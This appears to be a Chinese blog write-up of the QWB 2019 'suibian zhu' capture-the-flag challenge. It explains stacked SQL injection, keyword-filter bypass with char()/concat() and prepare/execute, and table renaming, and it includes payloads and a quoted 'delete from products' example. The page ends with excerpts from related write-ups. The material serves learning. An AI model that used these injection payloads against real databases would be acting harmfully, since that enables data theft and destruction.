強網杯 2019 隨便注

2021-10-20 20:04:27 字數 3102 閱讀 5611

根據題目嘗試sql注入,單引號報錯,單引號加注釋無報錯,說明存在sql注入,當測試輸入select時返回過濾的黑名單:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
這道題使用的是堆疊注入,原理

在sql中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束乙個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別麼?區別就在於union 或者union all執行的語句型別是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。使用者輸入:1; delete from products伺服器端生成的sql語句為:(因未對輸入的引數進行過濾)select * from products where productid=1;delete from products當執行查詢後,第一條顯示查詢資訊,第二條則將整個表進行刪除。

檢視資料庫

檢視當前庫下的表

檢視兩張表字段

還有一種檢視表的語句,在windows系統下,反單引號(`)是資料庫、表、索引、列和別名用的引用符

找到了flag在的字段,接下來就是如何獲取該字段的值。順帶一提,根據表的結構,初步判斷預設查詢的是word表中的字段,而flag在1919810931114514表中。

網上找到的兩種方法,分別是修改表名和使用預處理語句。

使用預處理語句

因為select被過濾了,但是可以使用char函式,char() 函式將select的ascii碼轉換為select字串,接著利用concat()函式進行拼接得到select查詢語句,從而繞過過濾。或者直接用concat()函式拼接select來繞過。

char

(115

,101

,108

,101,99

,116

)

根據預處理語句格式構造payload

1

';set @sqli=concat(char(115,101,108,101,99,116),'

*from

`1919810931114514

`');

prepare hacker from

@sqli

;execute hacker;

#

1

';prepare sqli from concat('s','elect','

*from

`1919810931114514

`');

execute sqli;

#

1

';set @sqli = concat('s','e','l','e','c','t','

*from

`1919810931114514

`');

prepare haha from

@sqli

;execute haha;

#

主要區別在於過濾的繞過方式,不要拘泥於一種方式。

修改表名

修改表名的思路是:預設查詢的是word表第乙個字段,所以把word表修改為其他名稱,將flag所在的1919810931114514表名修改為word

網上payload

0';

rename

table words to words1;

rename

table

`1919810931114514

`to words;

alter

table words change flag id varchar

(100

)character

set utf8 collate utf8_general_ci not

null

;desc words;

#

自己構造的payload

0';

rename

table words to words1;

rename

table

`1919810931114514

`to words;

alter

table words change flag id varchar

(100

)#

之後執行

1' or1=

1#

查詢表所有字段值即可。

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...

強網杯 2019 隨便注

題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...